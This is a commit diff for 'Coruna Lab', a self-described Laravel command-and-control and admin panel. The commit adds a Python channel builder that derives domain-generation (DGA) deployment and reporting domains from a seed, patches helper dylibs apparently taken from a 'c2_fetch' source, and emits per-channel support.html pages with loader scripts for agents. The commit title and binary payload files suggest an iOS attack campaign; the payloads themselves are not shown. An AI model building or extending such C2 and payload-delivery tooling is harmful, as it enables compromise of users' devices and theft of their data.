fix: ios 16
This commit is contained in:
+10
-9
@@ -46,18 +46,19 @@ ADMIN_PASSWORD=admin123
|
||||
|
||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
||||
CORUNA_SESSION_KEY=
|
||||
# Channel domains (link display + builder deployment_domains when channel.domains is empty).
|
||||
# Optional link-display hosts (not used by DGA binary patch).
|
||||
# Overridable by 系统设置 → 投放域名.
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=
|
||||
# API / reporting domains for the builder (always from env; not overridden by channel.domains).
|
||||
CORUNA_REPORTING_DOMAINS=
|
||||
# Sibling project coruna-lab-web build API (Bearer authentication)
|
||||
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
|
||||
CORUNA_BUILD_SERVICE_TOKEN=
|
||||
# Aliases: CORUNA_LAB_WEB_URL / CORUNA_LAB_WEB_TOKEN
|
||||
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
|
||||
CORUNA_BUILD_SERVICE_TIMEOUT=600
|
||||
# Optional complete origin/base path prepended before /channel/{id}/web/support.html
|
||||
# In-process channel-builder (Python).
|
||||
# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/)
|
||||
# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder)
|
||||
CORUNA_CHANNEL_BUILDER_PYTHON=
|
||||
CORUNA_ARTIFACT_ROOT=
|
||||
CORUNA_CHANNEL_STATE_ROOT=
|
||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||
# Optional complete origin/base path prepended before /web/{id}/support.html
|
||||
# Same-host: leave empty or set to APP_URL
|
||||
CORUNA_STATIC_SITE_BASE_URL=
|
||||
CORUNA_STATIC_SITE_SCHEME=https
|
||||
# Max channel links per agent (super-admin settings can override)
|
||||
|
||||
@@ -28,3 +28,7 @@
|
||||
Homestead.json
|
||||
Homestead.yaml
|
||||
Thumbs.db
|
||||
/storage/app/channel-artifacts
|
||||
/channel-builder/.venv
|
||||
/channel-builder/out
|
||||
/storage/app/channel-builder
|
||||
|
||||
@@ -1,32 +1,41 @@
|
||||
# Coruna Lab
|
||||
|
||||
Laravel C2 + Admin。渠道静态资源构建与分发已拆到同级项目 [`../coruna-lab-web/`](../coruna-lab-web/)。
|
||||
Laravel C2 + Admin,渠道静态资源由内置 [`channel-builder/`](channel-builder/) 直接构建(DGA seed + channel id,无独立 Build API)。
|
||||
|
||||
```text
|
||||
ios-fetch/
|
||||
├── coruna-lab/ # ← 本仓库:C2 / Admin / 渠道元数据
|
||||
└── coruna-lab-web/ # 构建 API + frontend 模板/工具 + 静态产物站
|
||||
coruna-lab/
|
||||
├── app/ # C2 / Admin
|
||||
├── channel-builder/ # source + Python patch tools
|
||||
├── public/ # 默认产物根(可直接当静态站)
|
||||
│ ├── web/<channel-id>/
|
||||
│ └── sync/
|
||||
└── storage/app/channel-builder/ # lab_seeds.json + out/(不对外)
|
||||
```
|
||||
|
||||
## Requirements
|
||||
|
||||
| Tool | Path / note |
|
||||
|------|-------------|
|
||||
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php`(勿用 PATH 里旧 7.3) |
|
||||
| PHP 8.2+ | `/opt/homebrew/opt/php/bin/php` |
|
||||
| Composer | via brew PHP |
|
||||
| Python 3.10+ | `channel-builder/.venv` |
|
||||
| MySQL 8.0 | preferred;sqlite 可 smoke |
|
||||
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
|
||||
|
||||
```bash
|
||||
export PATH="/opt/homebrew/opt/php/bin:$PATH"
|
||||
php -v
|
||||
|
||||
cd channel-builder
|
||||
python3 -m venv .venv
|
||||
.venv/bin/pip install -r requirements.txt
|
||||
```
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_BUILD_SERVICE_*
|
||||
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_ARTIFACT_ROOT / CORUNA_CHANNEL_BUILDER_*
|
||||
|
||||
php artisan key:generate # once
|
||||
php artisan migrate --seed
|
||||
@@ -36,38 +45,34 @@ php artisan serve --host=0.0.0.0 --port=8000
|
||||
Admin:
|
||||
|
||||
- Shell: `http://127.0.0.1:8000/admin`
|
||||
- Login: `http://127.0.0.1:8000/admin/login` — AJAX JSON 登录(参考 qrpay):用户名 / 密码 / 可选谷歌验证码
|
||||
- Login: `http://127.0.0.1:8000/admin/login`
|
||||
- 默认账号:`admin` / `admin123`(见 `.env` `ADMIN_*`)
|
||||
- 登录后「安全 → 谷歌验证」可绑定 Google Authenticator
|
||||
|
||||
## 新建渠道
|
||||
|
||||
本仓库只保存渠道元数据;静态产物由 `coruna-lab-web` 同步构建:
|
||||
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
|
||||
|
||||
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份)
|
||||
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
|
||||
- **之后**新渠道只生成 `web/<id>/`
|
||||
|
||||
```dotenv
|
||||
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
|
||||
CORUNA_BUILD_SERVICE_TOKEN=replace-me
|
||||
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
|
||||
CORUNA_BUILD_SERVICE_TIMEOUT=600
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
|
||||
CORUNA_REPORTING_DOMAINS=www.rep1.example,www.rep2.example
|
||||
CORUNA_STATIC_SITE_BASE_URL=https://static.example
|
||||
CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
|
||||
# 默认即可:产物写到 public/,seed 状态在 storage/app/channel-builder/
|
||||
# CORUNA_ARTIFACT_ROOT=
|
||||
# CORUNA_CHANNEL_STATE_ROOT=
|
||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||
CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com
|
||||
```
|
||||
|
||||
创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_REPORTING_DOMAINS`。
|
||||
|
||||
构建:`POST /v1/channels/{id}/build`
|
||||
删除:`DELETE /v1/channels/{id}`
|
||||
|
||||
后台展示入口:
|
||||
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
|
||||
|
||||
```text
|
||||
https://<host>/channel/<channel-id>/web/support.html
|
||||
https://<host>/channel/<channel-id>/sync/daily.html
|
||||
https://<host>/web/<channel-id>/support.html
|
||||
https://<dga-host>/sync/daily.html
|
||||
```
|
||||
|
||||
构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。
|
||||
宝塔同机部署(含 Telegram webhook)见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。
|
||||
宝塔部署见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。
|
||||
|
||||
## C2 / Admin 说明
|
||||
|
||||
@@ -78,8 +83,3 @@ https://<host>/channel/<channel-id>/sync/daily.html
|
||||
```bash
|
||||
php artisan test
|
||||
```
|
||||
|
||||
## 注意
|
||||
|
||||
- 本仓库不再包含 `frontend/` 或本地 Python 构建脚本
|
||||
- 迁移期可保留旧 `public/web`、`public/sync` 只读;新渠道只发到 `coruna-lab-web` 静态站
|
||||
|
||||
@@ -7,7 +7,6 @@ use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\ChannelProjectService;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
@@ -66,15 +65,11 @@ class ChannelController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (Channel $c) {
|
||||
$domains = Channel::normalizeDomainList($c->domains);
|
||||
|
||||
return [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'domains' => $domains,
|
||||
'domains_text' => implode("\n", $domains),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'links' => $c->supportLinks(),
|
||||
@@ -107,8 +102,9 @@ class ChannelController extends Controller
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'domains' => ['nullable', 'string', 'max:4000'],
|
||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
'reporting_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
@@ -118,12 +114,16 @@ class ChannelController extends Controller
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$domains = SettingsService::parseDomains($data['domains'] ?? null);
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$projects->generate($data['channel_id'], $domains, $supportTemplate);
|
||||
$build = $projects->generate(
|
||||
$data['channel_id'],
|
||||
$supportTemplate,
|
||||
$data['deployment_seed'] ?? null,
|
||||
$data['reporting_seed'] ?? null,
|
||||
);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -132,7 +132,7 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $domains) {
|
||||
$channel = DB::transaction(function () use ($data, $userId) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
@@ -145,7 +145,7 @@ class ChannelController extends Controller
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'user_id' => $userId,
|
||||
'domains' => $domains,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
@@ -165,6 +165,12 @@ class ChannelController extends Controller
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'links' => $channel->supportLinks(),
|
||||
'seeds' => $build['seeds'],
|
||||
'domains' => $build['domains'],
|
||||
'seeds_initialized' => $build['seeds_initialized'],
|
||||
'sync_rebuilt' => $build['sync_rebuilt'],
|
||||
'support_path' => $build['support_path'],
|
||||
'daily_path' => $build['daily_path'],
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -187,7 +193,6 @@ class ChannelController extends Controller
|
||||
} else {
|
||||
$data = $request->validate([
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'domains' => ['nullable', 'string', 'max:4000'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
@@ -201,9 +206,6 @@ class ChannelController extends Controller
|
||||
}
|
||||
$channel->user_id = $userId;
|
||||
}
|
||||
if (array_key_exists('domains', $data)) {
|
||||
$channel->domains = SettingsService::parseDomains($data['domains']);
|
||||
}
|
||||
if (array_key_exists('remark', $data)) {
|
||||
$channel->remark = $data['remark'];
|
||||
}
|
||||
|
||||
@@ -89,7 +89,7 @@ class Channel extends Model
|
||||
public function supportLinks(): array
|
||||
{
|
||||
$links = [];
|
||||
$path = '/channel/'.$this->channel_id.'/web/support.html';
|
||||
$path = '/web/'.$this->channel_id.'/support.html';
|
||||
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
|
||||
if ($baseUrl !== '') {
|
||||
$links[] = $baseUrl.$path;
|
||||
|
||||
@@ -2,10 +2,8 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Http\Client\ConnectionException;
|
||||
use Illuminate\Http\Client\Response;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
||||
class ChannelProjectService
|
||||
@@ -14,36 +12,70 @@ class ChannelProjectService
|
||||
|
||||
public const DEFAULT_SUPPORT_TEMPLATE = 'test';
|
||||
|
||||
public const RESULT_MARKER = 'CORUNA_BUILD_RESULT ';
|
||||
|
||||
/**
|
||||
* Ask the standalone builder to materialize a channel project.
|
||||
* Build channel web assets (and shared sync on first/changed seeds) via channel-builder.
|
||||
*
|
||||
* @param list<string>|null $deploymentDomains Channel-configured hosts; empty → CORUNA_LAB_CHANNEL_DOMAINS
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
*/
|
||||
public function generate(
|
||||
string $channelId,
|
||||
?array $deploymentDomains = null,
|
||||
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
|
||||
): void {
|
||||
?string $deploymentSeed = null,
|
||||
?string $reportingSeed = null,
|
||||
): array {
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
$deploymentDomains = $this->normalizeDomains($deploymentDomains)
|
||||
?: $this->domains('coruna.deployment_domains');
|
||||
$reportingDomains = $this->domains('coruna.reporting_domains');
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds($deploymentSeed, $reportingSeed);
|
||||
|
||||
if ($deploymentDomains === []) {
|
||||
throw new RuntimeException('投放域名未配置(CORUNA_LAB_CHANNEL_DOMAINS 或渠道 domains)');
|
||||
}
|
||||
if ($reportingDomains === []) {
|
||||
throw new RuntimeException('上报域名未配置(CORUNA_REPORTING_DOMAINS)');
|
||||
$cmd = [
|
||||
$this->pythonBinary(),
|
||||
$this->builderScript('new_project.py'),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--state-root',
|
||||
$this->stateRoot(),
|
||||
'--channel-id',
|
||||
$channelId,
|
||||
'--support-template',
|
||||
$supportTemplate,
|
||||
'--force',
|
||||
];
|
||||
if ($deploymentSeed !== null && $reportingSeed !== null) {
|
||||
$cmd[] = '--deployment-seed';
|
||||
$cmd[] = $deploymentSeed;
|
||||
$cmd[] = '--reporting-seed';
|
||||
$cmd[] = $reportingSeed;
|
||||
}
|
||||
|
||||
$response = $this->request('post', $channelId, [
|
||||
'deployment_domains' => $deploymentDomains,
|
||||
'reporting_domains' => $reportingDomains,
|
||||
'support_template' => $supportTemplate,
|
||||
]);
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败');
|
||||
|
||||
$this->ensureSuccessful($response, '生成渠道资源失败');
|
||||
return [
|
||||
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
],
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
|
||||
],
|
||||
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
'support_path' => (string) ($result['support_path'] ?? '/web/'.$channelId.'/support.html'),
|
||||
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
|
||||
'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
|
||||
];
|
||||
}
|
||||
|
||||
public function deleteWebTree(string $channelId): void
|
||||
@@ -54,71 +86,119 @@ class ChannelProjectService
|
||||
return;
|
||||
}
|
||||
|
||||
$response = $this->request('delete', $channelId);
|
||||
if ($response->status() === 404) {
|
||||
return;
|
||||
}
|
||||
$cmd = [
|
||||
$this->pythonBinary(),
|
||||
$this->builderScript('delete_channel_web.py'),
|
||||
'--artifact-root',
|
||||
$this->artifactRoot(),
|
||||
'--channel-id',
|
||||
$channelId,
|
||||
];
|
||||
|
||||
$this->ensureSuccessful($response, '删除渠道资源失败');
|
||||
$this->runBuilder($cmd, '删除渠道资源失败');
|
||||
}
|
||||
|
||||
private function request(string $method, string $channelId, array $payload = []): Response
|
||||
/**
|
||||
* @param list<string> $cmd
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function runBuilder(array $cmd, string $errorPrefix): array
|
||||
{
|
||||
$url = rtrim((string) config('coruna.build_service.url', ''), '/');
|
||||
$token = trim((string) config('coruna.build_service.token', ''));
|
||||
if ($url === '') {
|
||||
throw new RuntimeException('渠道构建服务 URL 未配置');
|
||||
}
|
||||
if ($token === '') {
|
||||
throw new RuntimeException('渠道构建服务令牌未配置');
|
||||
}
|
||||
$timeout = (float) config('coruna.channel_builder.timeout', 600);
|
||||
$process = Process::timeout((int) max(1, $timeout))
|
||||
->path(base_path('channel-builder'))
|
||||
->run($cmd);
|
||||
|
||||
$method = strtoupper($method);
|
||||
$path = $method === 'POST'
|
||||
? '/v1/channels/'.$channelId.'/build'
|
||||
: '/v1/channels/'.$channelId;
|
||||
|
||||
try {
|
||||
$pending = Http::baseUrl($url)
|
||||
->withToken($token)
|
||||
->acceptJson()
|
||||
->connectTimeout((float) config('coruna.build_service.connect_timeout', 5))
|
||||
->timeout((float) config('coruna.build_service.timeout', 600));
|
||||
|
||||
if ($method === 'POST') {
|
||||
return $pending->asJson()->post($path, $payload);
|
||||
}
|
||||
|
||||
return $pending->send($method, $path);
|
||||
} catch (ConnectionException $e) {
|
||||
Log::error('Channel build service connection failed', [
|
||||
'channel_id' => $channelId,
|
||||
'operation' => $method,
|
||||
'error' => $e->getMessage(),
|
||||
if (! $process->successful()) {
|
||||
$detail = trim($process->errorOutput() ?: $process->output());
|
||||
$detail = mb_substr($detail !== '' ? $detail : 'builder exited '.$process->exitCode(), 0, 800);
|
||||
Log::error('Channel builder failed', [
|
||||
'exit_code' => $process->exitCode(),
|
||||
'detail' => $detail,
|
||||
'cmd' => $cmd,
|
||||
]);
|
||||
|
||||
throw new RuntimeException('渠道构建服务连接失败: '.$e->getMessage(), 0, $e);
|
||||
throw new RuntimeException("{$errorPrefix}: {$detail}");
|
||||
}
|
||||
|
||||
return $this->parseResultMarker($process->output(), $errorPrefix);
|
||||
}
|
||||
|
||||
private function ensureSuccessful(Response $response, string $message): void
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function parseResultMarker(string $output, string $errorPrefix): array
|
||||
{
|
||||
if ($response->successful()) {
|
||||
return;
|
||||
$lines = preg_split("/\r\n|\n|\r/", $output) ?: [];
|
||||
for ($i = count($lines) - 1; $i >= 0; $i--) {
|
||||
$line = $lines[$i];
|
||||
if (! str_starts_with($line, self::RESULT_MARKER)) {
|
||||
continue;
|
||||
}
|
||||
$json = substr($line, strlen(self::RESULT_MARKER));
|
||||
$decoded = json_decode($json, true);
|
||||
if (! is_array($decoded)) {
|
||||
throw new RuntimeException("{$errorPrefix}: invalid builder JSON");
|
||||
}
|
||||
|
||||
return $decoded;
|
||||
}
|
||||
|
||||
$detail = $response->json('message');
|
||||
$detail = is_string($detail) && trim($detail) !== ''
|
||||
? trim($detail)
|
||||
: trim($response->body());
|
||||
$detail = mb_substr($detail !== '' ? $detail : 'unknown error', 0, 500);
|
||||
throw new RuntimeException("{$errorPrefix}: missing builder result marker");
|
||||
}
|
||||
|
||||
Log::error('Channel build service request failed', [
|
||||
'status' => $response->status(),
|
||||
'detail' => $detail,
|
||||
]);
|
||||
private function pythonBinary(): string
|
||||
{
|
||||
$configured = trim((string) config('coruna.channel_builder.python', ''));
|
||||
if ($configured !== '') {
|
||||
return $configured;
|
||||
}
|
||||
|
||||
throw new RuntimeException("{$message} ({$response->status()}): {$detail}");
|
||||
$venv = base_path('channel-builder/.venv/bin/python');
|
||||
if (is_file($venv)) {
|
||||
return $venv;
|
||||
}
|
||||
|
||||
return 'python3';
|
||||
}
|
||||
|
||||
private function builderScript(string $name): string
|
||||
{
|
||||
$path = base_path('channel-builder/tools/'.$name);
|
||||
if (! is_file($path)) {
|
||||
throw new RuntimeException("渠道构建脚本不存在: {$path}");
|
||||
}
|
||||
|
||||
return $path;
|
||||
}
|
||||
|
||||
private function artifactRoot(): string
|
||||
{
|
||||
$root = trim((string) config('coruna.channel_builder.artifact_root', ''));
|
||||
if ($root === '') {
|
||||
$root = public_path();
|
||||
}
|
||||
|
||||
return $this->ensureDirectory($root, '产物目录');
|
||||
}
|
||||
|
||||
private function stateRoot(): string
|
||||
{
|
||||
$root = trim((string) config('coruna.channel_builder.state_root', ''));
|
||||
if ($root === '') {
|
||||
$root = storage_path('app/channel-builder');
|
||||
}
|
||||
|
||||
return $this->ensureDirectory($root, '构建状态目录');
|
||||
}
|
||||
|
||||
private function ensureDirectory(string $root, string $label): string
|
||||
{
|
||||
if (! is_dir($root) && ! mkdir($root, 0775, true) && ! is_dir($root)) {
|
||||
throw new RuntimeException("无法创建{$label}: {$root}");
|
||||
}
|
||||
|
||||
return $root;
|
||||
}
|
||||
|
||||
private function normalizeChannelId(string $channelId): string
|
||||
@@ -146,27 +226,28 @@ class ChannelProjectService
|
||||
return $supportTemplate;
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function domains(string $key): array
|
||||
/**
|
||||
* @return array{0: ?string, 1: ?string}
|
||||
*/
|
||||
private function normalizeOptionalSeeds(?string $deploymentSeed, ?string $reportingSeed): array
|
||||
{
|
||||
return $this->normalizeDomains(config($key, []));
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function normalizeDomains(mixed $domains): array
|
||||
{
|
||||
if (! is_array($domains)) {
|
||||
return [];
|
||||
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
|
||||
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
|
||||
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
|
||||
return [null, null];
|
||||
}
|
||||
if ($deploymentSeed === null || $deploymentSeed === '' || $reportingSeed === null || $reportingSeed === '') {
|
||||
throw new RuntimeException('deployment_seed 与 reporting_seed 必须同时提供');
|
||||
}
|
||||
foreach (['deployment_seed' => $deploymentSeed, 'reporting_seed' => $reportingSeed] as $name => $value) {
|
||||
if (! preg_match('/^[ -~]{1,32}$/', $value)) {
|
||||
throw new RuntimeException("无效的 {$name}(需 1–32 位 ASCII)");
|
||||
}
|
||||
}
|
||||
if ($deploymentSeed !== $reportingSeed) {
|
||||
throw new RuntimeException('deployment_seed 与 reporting_seed 必须相同');
|
||||
}
|
||||
|
||||
return array_values(array_unique(array_filter(array_map(static function ($domain) {
|
||||
if (! is_string($domain)) {
|
||||
return '';
|
||||
}
|
||||
$domain = trim($domain);
|
||||
$domain = preg_replace('#^https?://#i', '', $domain) ?? $domain;
|
||||
|
||||
return rtrim($domain, '/');
|
||||
}, $domains))));
|
||||
return [$deploymentSeed, $reportingSeed];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
# channel-builder
|
||||
|
||||
Static channel asset builder for coruna-lab.
|
||||
|
||||
```bash
|
||||
cd channel-builder
|
||||
python3 -m venv .venv
|
||||
.venv/bin/pip install -r requirements.txt
|
||||
|
||||
# default: write web/sync into ../public, seeds into ../storage/app/channel-builder
|
||||
.venv/bin/python tools/new_project.py --channel-id <32-hex> --support-template test --force
|
||||
```
|
||||
|
||||
Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`.
|
||||
@@ -0,0 +1,2 @@
|
||||
pycryptodome>=3.19
|
||||
py7zr>=0.20
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,10 @@
|
||||
# support.html templates
|
||||
|
||||
Build-time choices for `web/support.html` (`--support-template` / API `support_template`):
|
||||
|
||||
| Name | Source | Description |
|
||||
|------|--------|-------------|
|
||||
| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
|
||||
| `blank` | `blank.html` | Loader scripts only, no HUD UI |
|
||||
|
||||
Default is `test`.
|
||||
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
Plaintext type-0x01 helper dylibs used by tools/patch_secondary_packs.py.
|
||||
Originally from coruna-online/c2_fetch/*_type0x01.dylib.
|
||||
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user